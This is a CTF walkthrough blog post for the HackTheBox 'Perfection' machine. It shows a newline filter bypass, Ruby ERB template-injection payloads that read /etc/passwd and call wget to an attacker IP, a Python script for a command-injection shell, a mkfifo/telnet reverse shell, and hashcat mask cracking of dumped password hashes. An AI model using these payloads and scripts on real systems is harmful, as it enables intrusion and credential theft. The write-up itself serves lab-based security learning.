Blog Perfection - HackTheBox
Post
Cancel

Perfection - HackTheBox

This HackTheBox can be found here.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.253
1
2
3
4
5
6
7
8
9
10
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


So only port 22 and 80 are open. Let’s check out the HTTP server.

Port 80

webpage


The webpage is a ‘Weighted Grade Calculator’. If we go to the /weighted-grade endpoint, we can try it out:

webpage


We also see that the application was made by ‘Secure Student Tools’ and the server is running ‘WEBrick 1.7.0’. I intercepted a calculator request in Burp and sent it to the repeater. If I add a ' to any of the inputs, the server returns with ‘Malicious input blocked’:

webpage


Initial Foothold

I spent a lot of time at this point in Burp testing what characters/input would flag the ‘Malicious input blocked’ message. The weighted-grade endpoint was the only location where we could pass data to the server, so I focused my attention there, specifically looking for SSRF and SSTI vulnerabilities. Eventually, I found this article which showed using a newline character (%0A) to bypass the filter:

1
category1=a%0Atest;&grade1=95&weight1=20&category2=b&grade2=95&weight2=20&category3=c&grade3=95&weight3=20&category4=d&grade4=95&weight4=20&category5=e&grade5=95&weight5=20

bypass


Now that we can bypass the input filter, I did more testing. Eventually, I found that the server is vulnerable to SSTI by using the embedded ruby (ERB) template. This was verified by using the following payload:

1
<%= File.open('/etc/passwd').read %>


Before we can use this payload, we first need to URL encode it. Doing this gives us the following:

1
%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%72%65%61%64%20%25%3e


Once adding the above to after our newline, we get the output of etc/passwd:

contents of etc passwd file


When looking at the output of etc/passwd, we see a user named susan. Let’s take a look at the home directory:

1
<%= Dir.entries('/home/susan') %>
1
%3c%25%3d%20%44%69%72%2e%65%6e%74%72%69%65%73%28%27%2f%68%6f%6d%65%2f%73%75%73%61%6e%27%29%20%25%3e

contents of etc passwd file


Let’s grab the user flag:

1
2
<%= File.open('/home/susan/user.txt').read %>

1
%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%68%6f%6d%65%2f%73%75%73%61%6e%2f%75%73%65%72%2e%74%78%74%27%29%2e%72%65%61%64%20%25%3e

userflag.txt


We have the user flag, but we still need to get a shell on the host. Using the following payload, I confirmed that the <%= system("whoami") %> command would call beck to us:

1
<%= IO.popen('wget http://10.10.16.2').readlines()  %>
1
%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%77%67%65%74%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%20%25%3e

nc grabbing a connection


I next tried some basic reverse shells, but wasn’t able to catch one. Even though it was unnecessary, I came up with a quick python script to gain a semi-interactive shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
"""\
This script is for a semi-interactive shell on the Perfection machine from HackTheBox
https://app.hackthebox.com/machines/590
Usage: python3 perfection_exploit.py <target_IP>
"""

import requests
import sys

try:
	ip= sys.argv[1]
except:
	print("Please rerun with the target IP address as the first argument")
	print("Ex: python3 perfection_exploit.py 10.10.11.253\n")
	sys.exit(0)

nl="a\n"
perfection_url = "http://"+ip+":80/weighted-grade-calc"
perfection_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://10.10.11.253", "Connection": "close", "Referer": "http://10.10.11.253/weighted-grade", "Upgrade-Insecure-Requests": "1"}


while True:
	payload="<%= IO.popen(\""+input("> ") + "\").readlines()  %>"
	post_data = {"category1": nl+payload+" ", "grade1": "95", "weight1": "20", "category2": "b", "grade2": "95", "weight2": "20", "category3": "c", "grade3": "95", "weight3": "20", "category4": "d", "grade4": "95", "weight4": "20", "category5": "e", "grade5": "95", "weight5": "20"}
	response = requests.post(perfection_url, headers=perfection_headers, data=post_data)
	start = '['
	end = ']'
	s = str(response.content)
	s = (s[s.find(start)+len(start):s.rfind(end)])
	print(s.replace("\\n","\n").replace("\\","").replace("\", \"","").replace("\"",""))

python_semi_shell


I found that we can use telnet to upgrade to an interactive shell after more testing:

1
2
3
4
5
6
7
8
# On our attacking machine
nc -nvlp 1234

# On the target machines semi-shell
> TF=$(mktemp -u);mkfifo $TF && telnet <attackers IP> 1234 0<$TF | /bin/sh 1>$TF

# Back on our attacking machine, we can upgrade the shell with python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

interactive shell


Privilege Escalation

Before running linpeas, I checked out Susan’s home directory. Within ~/Migration/, there was a file named pupilpath_credentials.db:

credential database


We can interact with the .db file by using sqlite3:

1
2
3
4
5
6
7
8
9
10
sqlite3 -column -header

# Loading out database file
.open "pupilpath_credentials.db"

# Viewing the tables
.tables

# Dumping all the data from the users table
SELECT * FROM users;

looking at the SQLite file


We are able to dump five hashes from the database. I’ll copy these values and bring them over to my local machine to crack them. Using hash-identifier, we can see that the hashes are likely SHA-256. I’ll use hashcat against them:

1
sudo hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt


After running the hashes against rockyou.txt, none were cracked. This usually means that I was most likely on the wrong path. I ran linpeas.sh and further enumerate the box. Eventually, I found the text below in /var/mail/susan:

1
2
3
4
5
6
7
8
9
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.


Now that we know the format of the password, we can create a wordlist of {firstname}_{firstname backwards}_ and a mask of ?d?d?d?d?d?d?d?d?d:

1
2
# Our wordlist
susan_nasus_

Note: I first used a word/hash list of all the users obtainded from the .db file, but switched to just attempting to crack Susan’s hash (since that is the account we have access to) upon seeing Hashcat’s estimated time.

1
sudo hashcat -m 1400 -a 6 hashes created_wordlist  '?d?d?d?d?d?d?d?d?d' --increment


After some time, we are able to recover the password of susan_nasus_413759210:

cracked password


Running sudo -l shows that we have sudo access:

sudo access


We can finish this box by grabbing the root flag:

1
sudo cat /root/root.txt

root flag

Contents